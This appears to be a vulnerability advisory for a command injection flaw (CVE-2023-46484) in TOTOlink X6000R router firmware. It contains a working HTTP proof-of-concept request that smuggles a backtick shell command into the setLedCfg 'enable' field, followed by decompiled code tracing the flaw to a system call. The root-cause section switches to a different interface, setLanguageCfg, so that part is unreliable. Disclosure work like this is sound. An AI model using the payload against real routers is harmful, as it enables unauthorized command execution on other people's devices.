CVE-2023-46484: TOTOlink X6000R command injetction (setLedCfg)

TOTOlink X6000R command injection****Product Information

Device: TOTOlink X6000R
Firmware version: V9.4.0cu.852_B20230719
Manufacturer’s website information：https://www.totolink.net/
The firmware download address：https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/247/ids/36.html

Vulnerability description

There is arbitrary command execution on the setLedCfg interface of cstecgi .cgi

poc

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POST /cgi-bin/cstecgi.cgi HTTP/1.1Host: 172.28.60.132Content-Length: 55Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://172.28.60.132Referer: http://172.28.60.132/basic/qos.html?time=1694023460381Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"enable":"`ls>/web/test5.txt`","topicurl":"setLedCfg"}

Inject commands： “ls>/web/test5.txt”

Test results.

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GET /test5.txt HTTP/1.1Host: 172.28.60.132Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

Analysis

The following functions in shttp

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__int64 __fastcall sub_411F90(__int64 a1, __int64 a2){  const char *v3; // x20  unsigned int v4; // w19  v3 = (const char *)sub_40BD6C(a1, "enable");  v4 = atoi(v3);  if ( *v3 && v4 <= 1 )  {    Uci_Set_Str(11LL, "main", "led_status", v3);    Uci_Commit(11LL);    set_led_status(v4);  }  datconf_set_by_key("/var/cste/temp_status", "mesh_update", "1");  sub_40BDA0(a2, 1LL, "", 0LL, "0", "reserv");  return 0LL;}

There is an enable variable command splicing to bypass the execution, without any filtering!

The root cause comes from the following

Since the Uci_Set_Str function command arguments of the libcscommon.so library in shttpd are susceptible to operating system command injection. When the program calls get_uci2json, it will call Uci_Set_Str in the so library, causing arbitrary command execution, and the permissionless operation of the interface setLanguageCfg leads to unauthorized arbitrary command execution.

In this part of shttpd, the relevant language settings are called

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__int64 __fastcall sub_4117F8(__int64 a1, __int64 a2){  const char *v4; // x22  const char *v5; // x23  int v6; // w0  int v8; // [xsp+44h] [xbp+44h] BYREF  char s[8]; // [xsp+48h] [xbp+48h] BYREF  __int64 v10; // [xsp+50h] [xbp+50h]  __int64 v11; // [xsp+58h] [xbp+58h]  __int64 v12; // [xsp+60h] [xbp+60h]  __int64 v13; // [xsp+68h] [xbp+68h]  __int64 v14; // [xsp+70h] [xbp+70h]  __int64 v15; // [xsp+78h] [xbp+78h]  __int64 v16; // [xsp+80h] [xbp+80h]  __int64 v17[8]; // [xsp+88h] [xbp+88h] BYREF  v4 = (const char *)sub_40BD6C(a1, "lang");  v5 = (const char *)sub_40BD6C(a1, "langAutoFlag");  v8 = 0;  *(_QWORD *)s = 0LL;  v10 = 0LL;  v11 = 0LL;  v12 = 0LL;  v13 = 0LL;  v14 = 0LL;  v15 = 0LL;  v16 = 0LL;  memset(v17, 0, sizeof(v17));  Uci_Set_Str();  Uci_Get_Int(11LL, "main", "lang_auto_flag", &v8);  v6 = atoi(v5);  if ( v6 != v8 )    Uci_Set_Str();  Uci_Commit(11LL);  snprintf(s, 0x40uLL, "helpurl_%s", v4);  Uci_Get_Str(15LL, "custom", s, v17);  if ( LOBYTE(v17[0]) )  {    *(_QWORD *)s = 0LL;    v10 = 0LL;    v11 = 0LL;    v12 = 0LL;    v13 = 0LL;    v14 = 0LL;    v15 = 0LL;    v16 = 0LL;    snprintf(s, 0x40uLL, "http://%s", (const char *)v17);  }  else  {    strcpy(s, "");  }  sub_40BDA0(a2, 1LL, "", 0LL, "0", s);  return 0LL;}

现在来看libcscommon.so

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ABEL_57:  while ( 1 )  {    off_2AB30(v12, 1024LL, "uci -c %s set %s.%s.%s=\"%s\"", v9, v10, a2, a3, a4);    off_2AD78(v12, 0LL);    result = 1LL;LABEL_58:    if ( v13 == *(_QWORD *)off_2A970 )      break;    off_2AC18();LABEL_60:    v9 = "/tmp/cste/";    v10 = "system_status";  }  return result;

The off_2AD78 of them is LOAD:000000000002AD78 18 60 00 00 00 00 00 00 off_2AD78 DCQ CsteSystem

That is, system